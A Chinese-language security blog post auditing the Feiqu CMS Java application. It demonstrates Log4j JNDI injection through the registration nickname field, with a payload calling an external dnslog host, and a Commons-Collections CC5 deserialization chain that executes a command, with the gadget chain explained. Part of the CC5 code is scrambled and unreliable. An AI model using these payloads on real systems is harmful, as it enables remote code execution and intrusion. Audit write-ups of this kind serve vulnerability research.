java安全 飞趣CMS审计

admin 2022年4月27日08:47:45代码审计评论25 views3517字阅读11分43秒阅读模式
java安全 飞趣CMS审计
java安全 飞趣CMS审计

最近在在审一套cms记录一下有趣的过程

在拿cms的之后突然发现前两天xz社区的某位师傅已经分析了该cms所以本人在该原有发现

漏洞的基础上进行了更深一步挖掘

该师傅的文章 https://xz.aliyun.com/t/11137#toc-5

环境部署不做过多讲解简单说一下遇到的""

在该项目的resources配置数据库以及redis redismysql的密码都是通过aes加密的工具类在

com.feiqu.common.utils.AESUtil避免了明文展示密码

java安全 飞趣CMS审计


1.Log4j漏洞

首先跟着复现了一波fastjson的反序列化但是JSON.parseObject无可控点

java安全 飞趣CMS审计

第二处redisString.get这里是由xz的师傅已经分析过无利用点。但是在上面中发现了logger.info()


java安全 飞趣CMS审计

所以现在测试一下log4j这个洞可以发现是存在的


public class Test1 {
public static void main(String[] args) {
LogManager.getLogger(logtest.class);
logger.info("${jndi:ldap://17zuzp.dnslog.cn}");
}
}


java安全 飞趣CMS审计

所以在com.feiqu.web.controller.UserControllerhome函数的944是一个绝佳的利用点

java安全 飞趣CMS审计

经过测试在注册的时候填入payload即可


java安全 飞趣CMS审计

在根据提供的GetMapping得知url地址为 127.0.0.1:8080/u/12/home

java安全 飞趣CMS审计

日志信


java安全 飞趣CMS审计

DNSLOG回显如下

java安全 飞趣CMS审计


经过在注册的时候也存在log4j的使用


java安全 飞趣CMS审计

payload还是在昵称这里可以看到前端页面中name对应了FqUser工具类中

java安全 飞趣CMS审计


java安全 飞趣CMS审计

当注册之后成功利用

java安全 飞趣CMS审计

于其它的log4j利用点就不找了相对于xz师傅找到的log4j利用点本人找的两个已经非常容易利用了

java安全 飞趣CMS审计




collections3反序列化漏洞

在包中发现了该组件这就用到了CC链系列了这里用CC3版本因为本人在进行测试CC4版本的时候其中有些类不能被序列化了~这就凉凉

java安全 飞趣CMS审计

直接用CC5payload直接打就行了


Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new new Object[]    InvokerTransformer("getMethod", new Class[] {String.class, Class[ { "getRuntime", new Class[0] }),    ].class },new new Object[]    InvokerTransformer("invoke", new Class[] {Object.class, Object[]. { null, new Object[0] }),    class },new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};new ChainedTransformer(transformers);Map innerMap = new HashMap();LazyMap.decorate(innerMap, transformerChain);new TiedMapEntry(outerMap,"keykey");    new BadAttributeValueExpException(1);    BadAttributeValueExpException.class.getDeclaredField("val");field.setAccessible(true);field.set(POC,tiedmap);ObjectOutputStream objectOutputStream = new ObjectOutputStream(newFileOutputStream("cc5.bin"));objectOutputStream.writeObject(POC);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(newFileInputStream("cc5.bin"));objectInputStream.readObject();objectInputStream.close();


java安全 飞趣CMS审计

简单分析一下CC5这条链的过程

利用链如下


1ObjectInputStream.readObject()2   BadAttributeValueExpException.readObject()3     TiedMapEntry.toString()4       LazyMap.get()5         ChainedTransformer.transform()6           ConstantTransformer.transform()7             InvokerTransformer.transform()8               Method.invoke()9                 Class.getMethod()10                   InvokerTransformer.transform()11                     Method.invoke()12                       Runtime.getRuntime()13 InvokerTransformer.transform()14 Method.invoke()

前面的不过多讲解,相信大家都能看懂,这是一个命令执行

Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};new ChainedTransformer(transformers);

接着往下分析

Map innerMap    new HashMap();    Map outerMap    LazyMap.decorate(innerMap, transformerChain)    ;TiedMapEntry    new TiedMapEntry(outerMap,"keykey");    

LazyMap初始化如下会将transformerChain存入到factory


java安全 飞趣CMS审计

后在LazyMap.get中调用到了transform

java安全 飞趣CMS审计

那么谁会调用到LazyMap.get呢?

TiedMapEntry初始化会将LazyMap作为第一个参数传入

java安全 飞趣CMS审计

以此时关注有没有map.get方法这样就会调用到LazyMap.get方法

java安全 飞趣CMS审计

又又又一个问题TiedMapEntry.getValue()谁会调用?

而利用链中写到了TiedMapEntry.toString()其实toString调用了getValue()从而调用到LazyMap.get方法

java安全 飞趣CMS审计


谁会调用TiedMapEntry.toString()?这里通过反射val设置为了TiedMapEntry(tiedmap)


BadAttributeValueExpException POC = new BadAttributeValueExpException(1);Field field = BadAttributeValueExpException .class.getDeclaredField("val");field.setAccessible(true);field.set(POC,tiedmap);

java安全 飞趣CMS审计

最后在readObject的时候执行了toString方法


java安全 飞趣CMS审计

但是在最后本人只找到了一处readObject

java安全 飞趣CMS审计

至于后续SQL注入的话找了好几个但参数都不可控也就放弃了


关注公众号

 公众号长期更新安全类文章,关注公众号,以便下次轻松查阅




原文始发于微信公众号(moonsec):java安全 飞趣CMS审计

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月27日08:47:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  java安全 飞趣CMS审计 http://cn-sec.com/archives/946002.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: